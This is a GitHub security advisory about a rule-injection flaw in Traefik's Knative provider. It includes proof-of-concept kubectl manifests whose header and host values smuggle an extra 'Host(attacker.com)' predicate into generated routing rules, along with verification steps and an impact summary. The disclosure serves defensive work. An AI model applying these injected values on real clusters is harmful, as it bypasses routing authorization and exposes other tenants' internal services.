Advisory

GHSA-67jx-r9pv-98rj

Details, part 2 of 2. The advisory

Details

  1. Cluster PoC (Knative header injection, confirms rule-syntax injection):
  • Apply:
  • kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
  name: poc-rule-injection
  namespace: default
  annotations:
    networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
  rules:
    - hosts:
        - "tenant.example.com"
      visibility: External
      http:
        paths:
          - path: "/"
            headers:
              X-Poc:
                exact: 'x`) || Host(`attacker.com'
            splits:
              - percent: 100
                serviceName: dummy
                serviceNamespace: default
                servicePort: 80
YAML
  • Verify:
  • Inspect generated Traefik dynamic router rule (API/dashboard/logs).
  • Confirm injected fragment || Host(attacker.com) is present.
  • Send request with Host: attacker.com and no expected tenant header (expected: 404 for this payload shape, because leading Host(tenant) still applies).
  • Send request with Host: tenant.example.com and X-Poc: x (expected: 200 from backend).
  1. Optional Ingress PoC (scope check):
  • Apply:
  • kubectl apply -f - <<'YAML'
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: poc-ingress-host-injection
  namespace: default
  annotations:
    kubernetes.io/ingress.class: traefik
spec:
  rules:
    - host: 'tenant.example.com`) || Host(`attacker.com'
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: dummy
                port:
                  number: 80
YAML
  • Expected in most clusters: API server rejects this payload because Ingress host must satisfy DNS-1123.
  • Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.

Validation executed in this report:

  • Local deterministic PoC executed with go run and output matched expected injected rule.
  • Live cluster test executed on local kind cluster (kind-traefik-poc) with Traefik v3.6.10 and Knative Serving CRDs.
  • Annotation key confirmed in this environment: networking.knative.dev/ingress.class (dot). The hyphen variant was not used by the successful processing path.
  • Traefik API/logs confirmed generated routers included injected expressions.
  • Live HTTP request with Host: attacker.com reached backend (200) for Knative host-injection payload.

Impact

  • Vulnerability type: Rule injection / authorization bypass at routing layer.
  • Primary impact: Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.
  • Who is impacted: Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.
  • Security consequences: Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.

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